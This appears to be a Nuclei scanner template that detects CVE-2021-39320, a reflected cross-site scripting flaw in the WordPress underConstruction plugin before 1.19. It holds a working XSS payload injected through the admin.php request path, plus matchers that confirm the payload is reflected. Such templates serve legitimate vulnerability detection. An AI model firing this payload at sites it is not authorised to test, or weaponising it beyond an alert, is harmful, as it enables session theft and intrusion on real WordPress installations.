id: CVE-2021-39320

info:
  name: underConstruction < 1.19 - Reflected Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path.
  reference:
    - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39320
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-39320
    cwe-id: CWE-79
  tags: wordpress,xss,cve,cve2021,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/?page=under-construction'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200